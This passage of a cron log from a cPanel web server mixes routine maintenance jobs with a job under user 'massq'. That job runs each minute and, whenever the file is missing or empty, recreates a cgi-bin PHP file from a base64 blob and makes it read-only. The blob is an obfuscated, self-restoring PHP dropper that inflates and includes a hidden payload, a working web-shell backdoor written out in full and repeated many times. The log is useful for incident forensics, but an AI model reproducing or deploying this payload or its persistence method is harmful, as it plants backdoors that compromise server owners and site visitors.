g5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:25:01 server CROND[32633]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:25:01 server CROND[32635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:25:01 server CROND[32638]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 04:25:01 server CROND[32639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:25:01 server CROND[32637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:25:01 server CROND[32640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:25:01 server CROND[32641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:25:01 server CROND[32642]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:26:01 server CROND[1108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:26:01 server CROND[1109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:26:01 server CROND[1110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:27:01 server CROND[1521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:27:01 server CROND[1522]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 04:27:01 server CROND[1524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:27:01 server CROND[1523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:28:01 server CROND[1891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:28:01 server CROND[1892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:28:01 server CROND[1893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:29:01 server CROND[2389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:29:01 server CROND[2390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:29:01 server CROND[2391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:30:01 server CROND[2820]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  1 04:30:01 server CROND[2822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:30:01 server CROND[2824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:30:01 server CROND[2827]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:30:01 server CROND[2825]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:30:01 server CROND[2829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:30:01 server CROND[2823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:30:01 server CROND[2832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:30:01 server CROND[2826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:30:01 server CROND[2830]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 04:31:01 server CROND[3671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:31:01 server CROND[3672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:31:01 server CROND[3673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:32:01 server CROND[4045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:32:01 server CROND[4047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:32:01 server CROND[4046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:33:01 server CROND[4434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:33:01 server CROND[4435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:33:01 server CROND[4436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:34:01 server CROND[4906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:34:01 server CROND[4907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:34:01 server CROND[4910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:35:01 server CROND[5507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:35:01 server CROND[5509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:35:01 server CROND[5510]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 04:35:01 server CROND[5511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:35:01 server CROND[5518]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:35:01 server CROND[5517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:35:01 server CROND[5519]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 04:35:01 server CROND[5516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:35:01 server CROND[5513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:36:01 server CROND[6372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:36:01 server CROND[6373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
